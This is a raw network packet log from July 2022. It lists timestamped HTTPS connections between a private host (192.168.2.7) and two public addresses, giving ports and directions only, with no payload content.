Jul 20, 2022 13:23:41.693125010 CEST	443	49735	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:41.693125010 CEST	49735	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:41.693171024 CEST	49735	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:41.738306999 CEST	443	49736	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:41.738436937 CEST	49736	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:41.740228891 CEST	49736	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:41.740250111 CEST	443	49736	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:41.742618084 CEST	49736	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:41.742640972 CEST	443	49736	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:41.763550997 CEST	49735	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:41.763576984 CEST	443	49735	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:41.770664930 CEST	49737	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:41.770701885 CEST	443	49737	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:41.770801067 CEST	49737	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:41.772186041 CEST	49737	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:41.772197962 CEST	443	49737	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:41.772407055 CEST	443	49736	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:41.772562027 CEST	443	49736	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:41.772622108 CEST	443	49736	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:41.772707939 CEST	49736	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:41.772749901 CEST	49736	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:41.772772074 CEST	443	49736	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:41.772802114 CEST	49736	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:41.772876978 CEST	49736	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:41.784755945 CEST	49738	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:41.784789085 CEST	443	49738	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:41.784935951 CEST	49738	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:41.785248995 CEST	49738	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:41.785260916 CEST	443	49738	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:41.787760019 CEST	443	49736	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:41.787935972 CEST	49736	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:41.787962914 CEST	443	49736	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:41.790803909 CEST	49736	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:41.790877104 CEST	443	49736	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:41.790960073 CEST	443	49736	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:41.791001081 CEST	49736	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:41.791037083 CEST	49736	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:41.791040897 CEST	443	49736	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:41.791114092 CEST	443	49736	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:41.791166067 CEST	49736	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:41.791249037 CEST	49736	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:41.793530941 CEST	49736	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:41.793562889 CEST	443	49736	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:41.816625118 CEST	49739	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:41.816700935 CEST	443	49739	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:41.816836119 CEST	49739	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:41.817279100 CEST	49739	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:41.817305088 CEST	443	49739	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:41.825568914 CEST	443	49737	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:41.825809002 CEST	49737	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:41.826502085 CEST	49737	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:41.826515913 CEST	443	49737	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:41.827683926 CEST	49737	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:41.827693939 CEST	443	49737	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:41.838587999 CEST	443	49738	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:41.838931084 CEST	49740	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:41.838968992 CEST	443	49740	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:41.839051962 CEST	49738	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:41.839154959 CEST	49740	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:41.839416027 CEST	49738	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:41.839425087 CEST	443	49738	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:41.840501070 CEST	49738	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:41.840511084 CEST	443	49738	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:41.842130899 CEST	49740	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:41.842169046 CEST	443	49740	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:41.858455896 CEST	443	49737	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:41.858506918 CEST	443	49737	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:41.858608961 CEST	443	49737	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:41.858707905 CEST	49737	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:41.858745098 CEST	49737	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:41.870129108 CEST	443	49739	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:41.870965958 CEST	49739	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:41.872450113 CEST	443	49738	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:41.872486115 CEST	443	49738	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:41.872509956 CEST	443	49738	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:41.872549057 CEST	49738	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:41.872560978 CEST	443	49738	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:41.872586966 CEST	49738	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:41.872643948 CEST	49738	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:41.887798071 CEST	443	49738	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:41.887891054 CEST	49738	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:41.887907028 CEST	443	49738	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:41.887950897 CEST	49738	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:41.888750076 CEST	443	49738	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:41.888832092 CEST	49738	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:41.888839006 CEST	443	49738	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:41.888855934 CEST	443	49738	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:41.888875961 CEST	49738	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:41.888904095 CEST	49738	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:41.890548944 CEST	49739	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:41.890579939 CEST	443	49739	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:41.895801067 CEST	443	49740	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:41.896097898 CEST	49740	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:41.904633045 CEST	49739	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:41.904670954 CEST	443	49739	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:41.906136990 CEST	49740	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:41.906162977 CEST	443	49740	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:41.920525074 CEST	49740	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:41.920547009 CEST	443	49740	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:41.921268940 CEST	49737	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:41.921319962 CEST	443	49737	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:41.922111988 CEST	49738	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:41.922136068 CEST	443	49738	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:41.922724962 CEST	443	49739	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:41.922779083 CEST	443	49739	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:41.922844887 CEST	49739	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:41.922852993 CEST	443	49739	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:41.922882080 CEST	443	49739	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:41.922936916 CEST	49739	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:41.922944069 CEST	443	49739	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:41.923010111 CEST	49739	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:41.923039913 CEST	49739	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:41.925399065 CEST	49739	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:41.925431013 CEST	443	49739	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:41.938466072 CEST	443	49740	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:41.938524008 CEST	443	49740	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:41.938604116 CEST	443	49740	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:41.938633919 CEST	443	49740	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:41.938780069 CEST	49740	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:41.938796997 CEST	49740	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:41.952455044 CEST	49740	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:41.952490091 CEST	443	49740	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:42.466727018 CEST	49741	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:42.466792107 CEST	443	49741	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:42.466881990 CEST	49741	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:42.469728947 CEST	49741	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:42.469765902 CEST	443	49741	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:42.525619984 CEST	443	49741	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:42.525718927 CEST	49741	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:42.530126095 CEST	49741	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:42.530138016 CEST	443	49741	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:42.531631947 CEST	49741	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:42.531644106 CEST	443	49741	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:42.559665918 CEST	443	49741	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:42.559725046 CEST	443	49741	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:42.559791088 CEST	443	49741	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:42.559869051 CEST	49741	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:42.559883118 CEST	443	49741	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:42.559921980 CEST	49741	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:42.559953928 CEST	49741	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:42.574465990 CEST	443	49741	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:42.574609041 CEST	49741	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:42.574621916 CEST	443	49741	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:42.574759007 CEST	49741	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:42.577785015 CEST	443	49741	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:42.577847004 CEST	443	49741	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:42.577928066 CEST	49741	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:42.577938080 CEST	443	49741	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:42.577958107 CEST	443	49741	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:42.577960014 CEST	49741	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:42.577980995 CEST	49741	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:42.578030109 CEST	49741	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:42.661602020 CEST	49741	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:42.661643982 CEST	443	49741	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:42.696836948 CEST	49742	443	192.168.2.7	20.190.159.134
Jul 20, 2022 13:23:42.696899891 CEST	443	49742	20.190.159.134	192.168.2.7
Jul 20, 2022 13:23:42.696991920 CEST	49742	443	192.168.2.7	20.190.159.134
Jul 20, 2022 13:23:42.697967052 CEST	49742	443	192.168.2.7	20.190.159.134
Jul 20, 2022 13:23:42.697992086 CEST	443	49742	20.190.159.134	192.168.2.7
Jul 20, 2022 13:23:42.700544119 CEST	49743	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:42.700597048 CEST	443	49743	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:42.700884104 CEST	49743	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:42.718983889 CEST	49743	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:42.719017029 CEST	443	49743	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:42.778548956 CEST	443	49743	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:42.778697014 CEST	49743	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:42.793775082 CEST	49743	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:42.793802023 CEST	443	49743	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:42.795149088 CEST	49743	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:42.795161963 CEST	443	49743	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:42.803755045 CEST	49744	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:42.803817987 CEST	443	49744	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:42.803919077 CEST	49744	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:42.810184956 CEST	49744	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:42.810218096 CEST	443	49744	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:42.821865082 CEST	443	49743	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:42.821919918 CEST	443	49743	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:42.822010040 CEST	49743	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:42.822012901 CEST	443	49743	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:42.822022915 CEST	49743	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:42.822041988 CEST	443	49743	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:42.822108030 CEST	49743	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:42.822123051 CEST	49743	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:42.822180033 CEST	443	49743	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:42.822276115 CEST	443	49743	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:42.822756052 CEST	49743	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:42.827493906 CEST	49743	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:42.827522993 CEST	443	49743	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:42.862571955 CEST	49745	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:42.862610102 CEST	443	49745	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:42.862685919 CEST	49745	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:42.864674091 CEST	49745	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:42.864694118 CEST	443	49745	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:42.877163887 CEST	49746	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:42.877234936 CEST	443	49746	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:42.877810955 CEST	49746	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:42.878037930 CEST	49746	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:42.878065109 CEST	443	49746	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:42.879879951 CEST	443	49744	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:42.880033016 CEST	49744	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:42.880434990 CEST	49744	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:42.880450964 CEST	443	49744	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:42.881347895 CEST	49744	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:42.881369114 CEST	443	49744	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:42.903167963 CEST	49747	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:42.903237104 CEST	443	49747	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:42.903695107 CEST	49747	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:42.904215097 CEST	49747	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:42.904243946 CEST	443	49747	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:42.919356108 CEST	443	49745	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:42.919500113 CEST	49745	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:42.920324087 CEST	443	49744	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:42.920358896 CEST	443	49744	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:42.920404911 CEST	443	49744	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:42.920464039 CEST	443	49744	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:42.920506954 CEST	49744	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:42.920564890 CEST	49744	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:42.934194088 CEST	443	49746	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:42.934500933 CEST	49746	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:42.958460093 CEST	443	49747	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:42.958584070 CEST	49747	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:42.971077919 CEST	49746	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:42.971105099 CEST	443	49746	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:42.971520901 CEST	49746	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:42.971535921 CEST	443	49746	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:42.973947048 CEST	49747	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:42.973984003 CEST	443	49747	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:42.974472046 CEST	49745	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:42.974486113 CEST	443	49745	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:42.977771044 CEST	49747	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:42.977804899 CEST	443	49747	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:42.977996111 CEST	49745	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:42.978007078 CEST	443	49745	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:42.990003109 CEST	443	49746	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:42.990039110 CEST	443	49746	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:42.990096092 CEST	49746	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:42.990114927 CEST	443	49746	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:42.990127087 CEST	49746	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:42.990134001 CEST	443	49746	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:42.990178108 CEST	49746	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:42.990214109 CEST	49746	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:42.997020960 CEST	443	49747	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:42.997056007 CEST	443	49747	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:42.997102022 CEST	49747	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:42.997116089 CEST	443	49747	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:42.997133017 CEST	443	49747	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:42.997140884 CEST	49747	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:42.997176886 CEST	443	49747	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:42.997188091 CEST	49747	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:42.997224092 CEST	49747	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:43.006242990 CEST	443	49745	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:43.006274939 CEST	443	49745	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:43.006331921 CEST	443	49745	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:43.006390095 CEST	49745	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:43.006402016 CEST	443	49745	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:43.006453037 CEST	49745	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:43.006496906 CEST	49745	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:43.006503105 CEST	443	49745	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:43.006544113 CEST	443	49745	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:43.006550074 CEST	49745	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:43.006588936 CEST	49745	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:43.018337965 CEST	49744	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:43.018383980 CEST	443	49744	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:43.049416065 CEST	49746	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:43.049464941 CEST	443	49746	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:43.081096888 CEST	49747	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:43.081161976 CEST	443	49747	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:43.086930990 CEST	49745	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:43.086946964 CEST	443	49745	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:44.092535019 CEST	49748	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:44.092595100 CEST	443	49748	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:44.092889071 CEST	49748	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:44.098397970 CEST	49748	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:44.098432064 CEST	443	49748	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:44.157147884 CEST	443	49748	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:44.157507896 CEST	49748	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:44.157790899 CEST	49748	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:44.157804012 CEST	443	49748	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:44.158730984 CEST	49748	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:44.158745050 CEST	443	49748	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:44.196118116 CEST	443	49748	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:44.196156025 CEST	443	49748	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:44.196238041 CEST	443	49748	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:44.196325064 CEST	49748	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:44.196347952 CEST	49748	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:44.232690096 CEST	49748	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:44.232741117 CEST	443	49748	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:44.734591007 CEST	49749	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:44.734667063 CEST	443	49749	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:44.734766960 CEST	49749	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:44.737612009 CEST	49749	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:44.737643003 CEST	443	49749	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:44.790858030 CEST	443	49749	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:44.791043997 CEST	49749	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:44.799865007 CEST	49750	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:44.799913883 CEST	443	49750	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:44.800031900 CEST	49750	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:44.829258919 CEST	49749	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:44.829291105 CEST	443	49749	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:44.840626001 CEST	49750	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:44.840660095 CEST	443	49750	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:44.846698999 CEST	49749	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:44.846735001 CEST	443	49749	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:44.860447884 CEST	49751	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:44.860496044 CEST	443	49751	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:44.860578060 CEST	49751	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:44.861861944 CEST	49751	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:44.861880064 CEST	443	49751	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:44.865748882 CEST	443	49749	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:44.865782022 CEST	443	49749	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:44.865804911 CEST	443	49749	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:44.865864038 CEST	49749	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:44.865895033 CEST	49749	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:44.865910053 CEST	443	49749	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:44.865930080 CEST	49749	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:44.866025925 CEST	49749	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:44.881319046 CEST	443	49749	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:44.881463051 CEST	49749	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:44.881501913 CEST	443	49749	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:44.881568909 CEST	49749	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:44.885709047 CEST	443	49749	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:44.885771990 CEST	443	49749	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:44.885831118 CEST	49749	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:44.885863066 CEST	443	49749	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:44.885883093 CEST	49749	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:44.885925055 CEST	49749	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:44.887805939 CEST	443	49749	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:44.887902021 CEST	49749	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:44.887932062 CEST	443	49749	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:44.887996912 CEST	49749	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:44.888619900 CEST	49752	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:44.888670921 CEST	443	49752	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:44.888751030 CEST	49752	443	192.168.2.7	23.211.6.115
